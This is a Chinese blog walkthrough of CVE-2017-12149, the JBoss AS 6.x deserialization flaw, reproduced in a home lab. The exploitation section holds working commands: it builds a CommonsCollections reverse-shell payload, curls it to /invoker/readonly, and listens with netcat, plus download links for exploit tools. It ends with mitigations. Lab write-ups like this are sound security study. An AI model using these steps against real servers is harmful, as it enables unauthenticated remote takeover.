CVE-2017-12149 JBOOS AS 6.X 反序列化漏洞利用
這次分析一下 CVE-2017-12149 ,漏洞已經爆出有幾天了,今天就把這個漏洞看一下。
安全預警
漏洞描述
近期,互聯網爆出JBOSSApplication Server反序列化命令執行漏洞(CVE-2017-12149),遠程攻擊者利用漏洞可在未經任何身份驗證的服務器主機上執行任意代碼。漏洞細節和驗證代碼已公開,近期被不法分子利用出現大規模攻擊嘗試的可能性較大。漏洞危害程度為高危(High)。
影響范圍
漏洞影響5.x和6.x版本的JBOSSAS。目前評估潛在受影響主機數量超過5000台
漏洞原理
JBOSS Application Server是一個基於J2EE的開放源代碼的應用服務器。 JBoss代碼遵循LGPL許可,可以在任何商業應用中免費使用,2006年,JBoss被Redhat公司收購。
2017年8月30日,廠商Redhat發布了一個JBOSSAS 5.x 的反序列化遠程代碼執行漏洞通告。該漏洞位於JBoss的HttpInvoker組件中的 ReadOnlyAccessFilter 過濾器中,其doFilter方法在沒有進行任何安全檢查和限制的情況下嘗試將來自客戶端的序列化數據流進行反序列化,導致攻擊者可以通過精心設計的序列化數據來執行任意代碼。但近期有安全研究者發現JBOSSAS 6.x也受該漏洞影響,攻擊者利用該漏洞無需用戶驗證在系統上執行任意命令,獲得服務器的控制權。
漏洞復現
環境搭建:
首先進行搭建環境,這里我是用我的電腦本機和虛擬機 kali 進行的,當然你也有其他的選擇。
准備階段:
kali : 192.168.1.105
win7 : 192.168.1.121 (安裝了 java 環境)
(1)從官網下載 jboss 安裝包( http://jbossas.jboss.org/downloads/ ),此漏洞影響 5.X 及 6.X,所以我下載的是 JBoss AS6.1.0.Final 這個版本(文末有分享)
(2)解壓壓縮包,cmd 進入 \jboss-6.1.0.Final\bin 目錄下
(3)在 cmd 中執行 run.bat -b 0.0.0.0
(4)如圖中所示即為運行成功
(5) jboss 默認安裝端口為 8080,在瀏覽器中訪問結果如下圖所示
(6) 如上圖所示,即安裝成功。
漏洞利用:
首先檢測目錄,訪問鏈接(http://192.168.1.121:8080/invoker/readonly)
可以看到是返回 500,一般漏洞就是存在了。
下載利用工具:JavaDeserH2HC(http://scan.javasec.cn/java/JavaDeserH2HC.zip)
把上面下載到的工具復制到 kali 里面,解壓即可。
接下來輸入命令:
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port //反彈shell的IP和端口
這里我寫下我的,下面截圖也是可以看到的。
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.1.105:4444(IP是kali的ip,4444是下面要監聽的端口,這里寫哪個端口下面就要監聽哪個端口)
這個時候會同目錄下生成一個ReverseShellCommonsCollectionsHashMap.ser文件,curl 這個二進制文件就可以了。
curl http://192.168.1.121:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
下面就是監聽和發送 payload
用 nc 監聽端口:
nc -vlp 4444
直接在 kali 打開個新的終端監聽即可。
發送payload:
反彈shell
利用工具下載:
下載地址:(http://scan.javasec.cn/java/jboss_CVE-2017-12149.zip)
漏洞建議:
建議用戶升級到JBOSS AS7。另,不能及時升級的用戶,可采取如下臨時解決方案:
1. 不需要 http-invoker.sar 組件的用戶可直接刪除此組件。
2. 添加如下代碼至 http-invoker.sar 下 web.xml 的 security-constraint 標簽中:<url-pattern>/*</url-pattern>
用於對 http invoker 組件進行訪問控制。
JavaDeserH2HC : (鏈接: https://pan.baidu.com/s/1bpo9qIN 密碼: h3pw)
JBoss AS6.1.0.Final :(鏈接: https://pan.baidu.com/s/1o7XXI7g 密碼: rng2)
jboss_CVE-2017-12149:(鏈接: https://pan.baidu.com/s/1hrUMkAg 密碼: 5n54)
本文鏈接(http://www.cnblogs.com/Oran9e/p/7897102.html),轉載請注明。
任重而道遠!